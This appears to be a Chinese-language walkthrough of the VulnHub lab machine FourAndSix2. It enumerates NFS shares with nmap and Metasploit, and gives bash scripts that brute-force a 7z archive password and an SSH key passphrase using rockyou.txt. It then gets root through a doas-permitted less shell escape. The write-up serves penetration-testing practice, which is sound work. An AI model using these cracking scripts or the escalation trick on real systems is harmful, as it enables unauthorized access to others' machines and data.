测试环境
攻击IP | 靶机IP |
---|---|
192.168.179.133 | 172.17.135.62 |
测试过程
老规矩,对靶机nmap一波。
![nmap扫描过程截图](https://i-blog.csdnimg.cn/blog_migrate/d1759330d16cef042c61b5e18058dcff.png)
检测靶机运行的服务:
22端口: ssh服务
111端口: rpcbind服务
2049端口: nfs服务
简述一下nfs服务。
主要功能是通过网络让不同的机器系统之间可以彼此共享文件和目录。NFS服务器可以允许NFS客户端将远端NFS服务器端的共享目录挂载到本地的NFS客户端中。
用metasploit挂载目录。我的kali里面没有这个软件。顺便在这里介绍一下,metasploit的安装。参考链接:kali2.0 metasploit安装
- 安装代码:apt-get install metasploit-framework
- 安装完成后,启动postgresql数据库:/etc/init.d/postgresql start;或者 service
- postgresql start 设置开机自启:update-rc.d postgresql enable
- 初始化MSF数据库(关键步骤!):msfdb init 运行:msfconsole
这里nfs在metasploit的运行后命令是:use auxiliary/scanner/nfs/nfsmount
发现挂载目录是/home/user/storage
用户名是user
用nfspysh(nfspysh是一个类FTP的交互式Shell,可以用来查询NFS export。它不需要使用FUSE库,因此它可以在非Linux平台上运行。)来挂载目录/home/user/storage
。
发现挂载目录下有一个backup.7z。在本地文件下解压。会发现需要密码来解压。
可以用rarcrack(安装它需要用libxml2)用枚举的方式来爆破。但是过程太久。
查资料找到一个用7z命令来爆破
cat $2 | #捕捉命令输入的第二个地址的文件
while read line; #读第二个文件(爆破文件)的每一行
do
if 7z e $1 -p"$line" 1>/dev/null 2>/dev/null; #如果 7z e $1(需要爆破的文件)解压密码是对的
then echo "FOUND PASSWORD:"$line; #输出正确密码,并解压。
break;
fi;
done
上面的 1>/dev/null 2>/dev/null,是为了把解压密码错误时,多余的文字都输入到/dev/null,而不是输出到终端上显示。
运行命令:bash 7z-crack.sh backup.7z /usr/share/wordlists/rockyou.txt
文件爆破出后,密码是:chocolate
解压出来后有公私钥,以及八张hellokitty。将私钥放进/root/.ssh,ssh-keygen登入172.17.135.62。需要爆破私钥密码。和上面一样写脚本爆破。
ssh-crach.sh
cat $2 |
while read line;
do
if ssh-keygen -p -P $line -N $line -f $1 1>/dev/null 2>/dev/null;
then echo "PASSWORD FOUND : "$line;
break;
fi;
done;
if判断那一步是假装ssh-keygen输入密码来判断是否正确,并输出。
运行命令是:bash ssh-crach.sh id_rsa /usr/share/wordlists/rockyou.txt
爆破密码是12345678
。
ssh user@172.17.135.62
查看用户权限及系统信息
查看/etc/doas.conf.(openBSD的doas和Ubuntu的sudo是差不多的。)
发现允许user用户可以以root权限来运行/usr/bin/less 打开 /var/log/authlog,打开后按v。再按esc。输入:!./bin/sh
。回车。获取到root权限。到/root下找到flag.txt。
总结
有些渗透技巧不看wp真的想不到,还是需要经常打。下面附上大佬的WP。
参考WP链接
MoR03r博客文章:VulnHub渗透测试FourAndSix2